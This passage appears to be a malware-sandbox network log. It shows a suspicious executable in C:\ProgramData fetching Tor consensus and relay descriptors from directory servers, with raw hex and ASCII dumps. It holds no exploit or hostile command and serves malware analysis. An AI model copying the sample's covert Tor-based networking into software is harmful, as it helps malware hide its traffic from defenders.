65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-12-11 08:00:00fresh-until 2022-12-11 09:00:00valid-until 2022-12-11 11:00:00voting-delay 300 300client-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12server-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCrea
Dec 11, 2022 09:25:53.252938032 CET	2747	IN	Data Raw: 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 3d 32 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 52 61 74 65 3d 32 20 44 6f 53 43 6f 6e 6e 65 Data Ascii: tionEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 DoSRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterval=2 NumNTorsPerTAP=100 UseOptimisti
Dec 11, 2022 09:25:53.253205061 CET	2749	IN	Data Raw: 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 72 73 69 6f 6e 3d 31 0a 73 68 61 72 65 64 2d 72 61 6e 64 2d 70 72 65 76 69 6f 75 73 2d 76 61 6c 75 65 20 38 20 4f 55 58 73 33 33 5a 36 6a 77 43 61 43 Data Ascii: e_percent=500 sendme_emit_min_version=1shared-rand-previous-value 8 OUXs33Z6jwCaC7+01M0edsV3bfQTozE0XT1G+S9nMBM=shared-rand-current-value 8 zXIuCMixcVdQiw7MqOKRh96/AoG3SQusUgMfgw4Gezk=dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D
Dec 11, 2022 09:25:53.253252029 CET	2750	IN	Data Raw: 36 36 2e 33 33 2e 34 35 20 38 30 20 34 34 33 0a 63 6f 6e 74 61 63 74 20 65 6d 61 69 6c 3a 75 73 75 72 61 5b 5d 73 61 62 6f 74 61 67 65 2e 6f 72 67 20 75 72 6c 3a 68 74 74 70 73 3a 2f 2f 33 38 36 62 73 64 2e 6e 65 74 20 70 72 6f 6f 66 3a 75 72 69 Data Ascii: 66.33.45 80 443contact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abuse:abuse[]sabotage.net twitter:adejoode ciissversion:2vote-digest 69686C901A02C875F25F646E9DE068CADA61BFB9dir-source gabelmoo ED03BB616EB2F60BEC8015111
Dec 11, 2022 09:25:53.253294945 CET	2751	IN	Data Raw: 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 33 31 30 30 30 0a 70 20 61 63 63 65 70 74 20 32 30 2d 32 33 2c 34 33 2c 35 33 2c 37 39 2d 38 31 2c 38 38 2c 31 31 30 2c 31 34 33 2c 31 39 34 2c 32 32 30 2c 33 Data Ascii: ding=2 Relay=1-4w Bandwidth=31000p accept 20-23,43,53,79-81,88,110,143,194,220,389,443,464,531,543-544,554,563,636,706,749,873,902-904,981,989-995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2082-2083,2086-2087,2095-2096,2102-2104,3128,3389
Dec 11, 2022 09:25:53.253340006 CET	2753	IN	Data Raw: 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 Data Ascii: v Tor 0.4.7.11pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=11000p reject 1-65535r suominode AFYmkM8z9TfE9MlYdlX3Rphoxzo St+sEFoocvWpEPAG1fBXF
Dec 11, 2022 09:25:53.253385067 CET	2754	IN	Data Raw: 20 5b 32 61 30 33 3a 65 36 30 30 3a 31 30 30 3a 3a 37 33 5d 3a 38 30 38 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 Data Ascii: [2a03:e600:100::73]:8080s Exit Fast Running Stable Validv Tor 0.4.8.0-alpha-devpr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=27000p accept 8
Dec 11, 2022 09:25:53.253427029 CET	2755	IN	Data Raw: 4d 70 4f 73 50 77 4c 6e 4b 7a 4e 73 6a 64 6b 4d 51 20 32 30 32 32 2d 31 32 2d 31 30 20 32 30 3a 34 36 3a 30 32 20 31 39 39 2e 32 34 39 2e 32 33 30 2e 31 30 33 20 34 34 33 20 30 0a 61 20 5b 32 36 32 30 3a 37 3a 36 30 30 31 3a 3a 31 30 33 5d 3a 38 Data Ascii: MpOsPwLnKzNsjdkMQ 2022-12-10 20:46:02 199.249.230.103 443 0a [2620:7:6001::103]:80s Exit Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth
Dec 11, 2022 09:25:53.253469944 CET	2757	IN	Data Raw: 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 Data Ascii: =1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=24000p accept 20-21,43,53,79-81,88,110,143,220,389,443,464,531,543-544,554,636,706,749,873,902-904,981,989-993,995,1194,1220,1293,1500,153
Dec 11, 2022 09:25:53.253513098 CET	2758	IN	Data Raw: 2e 37 2e 37 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c Data Ascii: .7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=110p reject 1-65535r effiorg1984 AMzmqE5tY6GkLhBYObyO1dSxZmk 8OYcUi8kTKuY2BCX2ZaZN/s9v9w 202
Dec 11, 2022 09:25:53.273015022 CET	2759	IN	Data Raw: 33 20 35 2e 39 2e 35 36 2e 32 34 39 20 34 30 38 30 20 30 0a 61 20 5b 32 61 30 31 3a 34 66 38 3a 31 36 31 3a 35 32 63 62 3a 3a 32 5d 3a 34 30 38 30 0a 73 20 46 61 73 74 20 48 53 44 69 72 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 Data Ascii: 3 5.9.56.249 4080 0a [2a01:4f8:161:52cb::2]:4080s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Band

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49737	64.185.227.156	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49721	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:00.144615889 CET	5234	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:00.193409920 CET	5235	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:00 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:00 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 34 20 46 38 41 42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49722	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:00.351145983 CET	5238	OUT	GET /tor/server/fp/5d5ddff29b96cc566aa746636868eb07f97de60c HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:00.401354074 CET	5239	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:00 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:00 GMT Data Raw: 72 6f 75 74 65 72 20 48 79 64 72 61 34 33 20 31 30 37 2e 31 38 39 2e 33 30 2e 32 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 62 35 41 56 66 72 2f 6a 61 61 44 69 37 62 4b 4a 42 74 51 4c 51 44 63 4f 70 61 39 7a 41 48 46 53 5a 6e 30 70 72 4b 47 6c 72 43 6c 33 49 66 41 51 41 67 42 41 43 50 49 57 6b 64 0a 4d 65 6a 41 5a 6d 6e 6e 71 30 2f 46 4d 2b 30 6e 6c 43 6a 5a 42 73 6c 4e 5a 61 55 65 63 6e 62 53 57 66 57 49 32 4b 5a 71 42 54 73 76 30 74 67 42 4e 36 62 4b 39 55 2f 4f 53 64 51 4f 79 50 4c 38 0a 6a 35 41 67 47 44 36 32 36 2f 74 4b 35 33 71 64 70 2b 37 6c 77 52 61 52 61 30 75 34 4f 77 77 37 77 49 4d 4d 5a 38 68 48 72 55 36 4f 31 79 4b 6b 78 55 79 32 6b 6c 6c 32 2b 41 30 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 79 46 70 48 54 48 6f 77 47 5a 70 35 36 74 50 78 54 50 74 4a 35 51 6f 32 51 62 4a 54 57 57 6c 48 6e 4a 32 30 6c 6e 31 69 4e 67 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 31 33 3a 33 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 35 44 35 44 20 44 46 46 32 20 39 42 39 36 20 43 43 35 36 20 36 41 41 37 20 34 36 36 33 20 36 38 36 38 20 45 42 30 37 20 46 39 37 44 20 45 36 30 43 0a 75 70 74 69 6d 65 20 31 37 32 38 32 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 31 31 33 37 30 37 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 41 32 44 41 37 33 38 39 45 31 39 35 33 42 32 32 38 44 34 30 45 44 43 38 33 31 35 46 36 31 36 39 42 37 31 31 46 46 45 46 20 50 38 51 72 70 32 72 67 71 6f 4b 59 48 30 73 46 73 65 4a 70 4f 58 61 77 64 4e 34 59 6c 79 50 78 2b 63 70 51 34 5a 6e 37 50 4d 30 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 54 44 76 39 6a 55 4a 57 46 32 4a 4f 34 35 51 33 77 76 35 6c 57 62 74 47 6c 53 4d 70 51 46 36 70 59 32 38 4b 50 66 65 77 64 63 6b 5a 66 32 75 74 68 72 2f 65 32 4f 0a 41 7a 44 75 42 2b 35 52 62 6d 58 42 37 68 72 55 75 44 62 4e 6e 42 7a 46 78 50 4f 73 61 78 78 51 6e 4b 34 34 31 68 42 6d 71 57 48 4a 36 33 64 58 6a 6b 45 74 6a 47 72 4a 59 66 4d 59 6d 35 78 6d 0a 41 56 35 62 47 6f 4a 73 50 37 34 30 6c 4b 78 47 64 31 76 7a 78 6f 6d 2f 54 6d 77 73 64 4a 2f 72 6a 31 49 4a 62 55 53 33 57 58 72 4a 62 72 78 73 4d 44 6f 68 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 53 35 38 53 52 44 71 71 4e Data Ascii: router Hydra43 107.189.30.22 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxb5AVfr/jaaDi7bKJBtQLQDcOpa9zAHFSZn0prKGlrCl3IfAQAgBACPIWkdMejAZmnnq0/FM+0nlCjZBslNZaUecnbSWfWI2KZqBTsv0tgBN6bK9U/OSdQOyPL8j5AgGD626/tK53qdp+7lwRaRa0u4Oww7wIMMZ8hHrU6O1yKkxUy2kll2+A0=-----END ED25519 CERT-----master-key-ed25519 jyFpHTHowGZp56tPxTPtJ5Qo2QbJTWWlHnJ20ln1iNgplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:13:34fingerprint 5D5D DFF2 9B96 CC56 6AA7 4663 6868 EB07 F97D E60Cuptime 172824bandwidth 1073741824 1073741824 21137070extra-info-digest A2DA7389E1953B228D40EDC8315F6169B711FFEF P8Qrp2rgqoKYH0sFseJpOXawdN4YlyPx+cpQ4Zn7PM0onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMTDv9jUJWF2JO45Q3wv5lWbtGlSMpQF6pY28KPfewdckZf2uthr/e2OAzDuB+5RbmXB7hrUuDbNnBzFxPOsaxxQnK441hBmqWHJ63dXjkEtjGrJYfMYm5xmAV5bGoJsP740lKxGd1vzxom/TmwsdJ/rj1IJbUS3WXrJbrxsMDohAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKS58SRDqqN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49723	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:00.804162979 CET	5249	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:00.850861073 CET	5250	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:00 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:00 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 